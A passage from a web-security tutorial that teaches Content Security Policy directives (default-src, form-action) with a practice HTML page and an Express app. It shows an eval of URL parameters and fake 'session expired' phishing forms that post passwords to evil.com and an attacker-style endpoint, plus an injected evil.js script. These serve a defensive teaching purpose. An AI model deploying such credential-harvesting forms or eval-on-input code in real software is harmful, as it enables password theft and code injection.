&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// A Simple Calculator&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;op1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getUrlParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;op1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;op2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getUrlParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;op2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;op1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; + &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;op2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`The sum is: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Restricting Form submissions
&lt;/h3&gt;

&lt;p&gt;By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://evil.com/collect"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Session expired! Please login again.&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;label&amp;gt;&lt;/span&gt;Username&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;label&amp;gt;&lt;/span&gt;Password&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"pass"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Login"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Restricting Objects
&lt;/h3&gt;

&lt;p&gt;And by restricting the HTML &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object" rel="noopener noreferrer"&gt;object&lt;/a&gt; tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do I use it?
&lt;/h2&gt;

&lt;p&gt;You can enforce a Content Security Policy on your website in two ways.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Content-Security-Policy Header
&lt;/h3&gt;

&lt;p&gt;Send a Content-Security-Policy HTTP response header from your web server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Content-Security-Policy Meta Tag
&lt;/h3&gt;

&lt;p&gt;Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.&lt;/p&gt;

&lt;p&gt;In this case, you can still use CSP by specifying a meta tag in the HTML markup.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv=&lt;/span&gt;&lt;span class="s"&gt;"Content-Security-Policy"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Almost everything is still supported, including full XSS defenses. However, you will not be able to use &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors" rel="noopener noreferrer"&gt;framing protections&lt;/a&gt;, &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox" rel="noopener noreferrer"&gt;sandboxing&lt;/a&gt;, or a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" rel="noopener noreferrer"&gt;CSP violation logging endpoint&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building Your Policy
&lt;/h2&gt;

&lt;p&gt;Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork &lt;a href="https://codesandbox.io/s/csp-practice-mpk56" rel="noopener noreferrer"&gt;this CodeSandbox&lt;/a&gt;, and then open the page URL (such as &lt;a href="https://mpk56.sse.codesandbox.io/" rel="noopener noreferrer"&gt;https://mpk56.sse.codesandbox.io/&lt;/a&gt; in Google Chrome browser.&lt;/p&gt;

&lt;p&gt;This is the HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;CSP Practice&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/stylesheets/style.css"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"preconnect"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://fonts.gstatic.com"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://fonts.googleapis.com/css2?family=Roboto:wght@100&amp;amp;display=swap"&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;CSP Practice&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Inline script attack succeeded.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://www.appsecmonkey.com/evil.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://www.google-analytics.com/analytics.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script
              &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://code.jquery.com/jquery-1.12.4.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Cat fact: &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cat-fact"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt; &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ajax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cat-fact.herokuapp.com/facts/random&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;crossDomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;catFact&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#cat-fact&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;catFact&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Good script with jQuery succeeded`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;" data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
    AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
        9TXL0Y4OHwAAAABJRU5ErkJggg=="&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Failed to show image."&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://www.appsecmonkey.com/evil"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;label&amp;gt;&lt;/span&gt;Session expired, enter password to continue.&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Enter your password here, mwahahaha.."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we also have &lt;code&gt;app.js&lt;/code&gt; which is a miniature express application for the purpose of setting the &lt;code&gt;Content-Security-Policy&lt;/code&gt; header. Right now it's sending an empty CSP which does nothing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;static&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;public&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;setHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;listener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Listening on port &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is how the page looks.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk820mjuqknqksdbii296.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk820mjuqknqksdbii296.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you look at the console, there are a couple of messages.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, the CSP header is not doing anything, so everything, good and bad, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).&lt;/p&gt;

&lt;p&gt;Great. Let's start adding security.&lt;/p&gt;

&lt;h3&gt;
  
  
  default-src
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/default-src" rel="noopener noreferrer"&gt;default-src&lt;/a&gt; is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.&lt;/p&gt;

&lt;p&gt;Let's start by setting &lt;code&gt;default-src&lt;/code&gt; to &lt;code&gt;'self'&lt;/code&gt;. The single quotes are mandatory. If you just write &lt;code&gt;self&lt;/code&gt; without the single quotes, it would refer to a website with the URL &lt;code&gt;self&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;defaultSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;default-src 'none'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now refresh the page and verify that everything has exploded, as expected.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frwhvczq60c1wy1hsk7ui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frwhvczq60c1wy1hsk7ui.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Open Chrome developer tools, and you will find that it's filled with CSP violation errors.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpricspvwwu80g75u8gik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpricspvwwu80g75u8gik.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;
You will see violations for the CodeSandbox client hook "&lt;a href="https://sse-0.codesandbox.io/client-hook-5.js" rel="noopener noreferrer"&gt;https://sse-0.codesandbox.io/client-hook-5.js&lt;/a&gt;". Just ignore these.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the &lt;code&gt;default-src&lt;/code&gt; directive does not cover the &lt;code&gt;form-target&lt;/code&gt; directive. Let's fix that next.&lt;/p&gt;

&lt;h3&gt;
  
  
  form-action
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/form-action" rel="noopener noreferrer"&gt;form-action&lt;/a&gt; regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;defaultSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;default-src 'none'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;form-action 'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



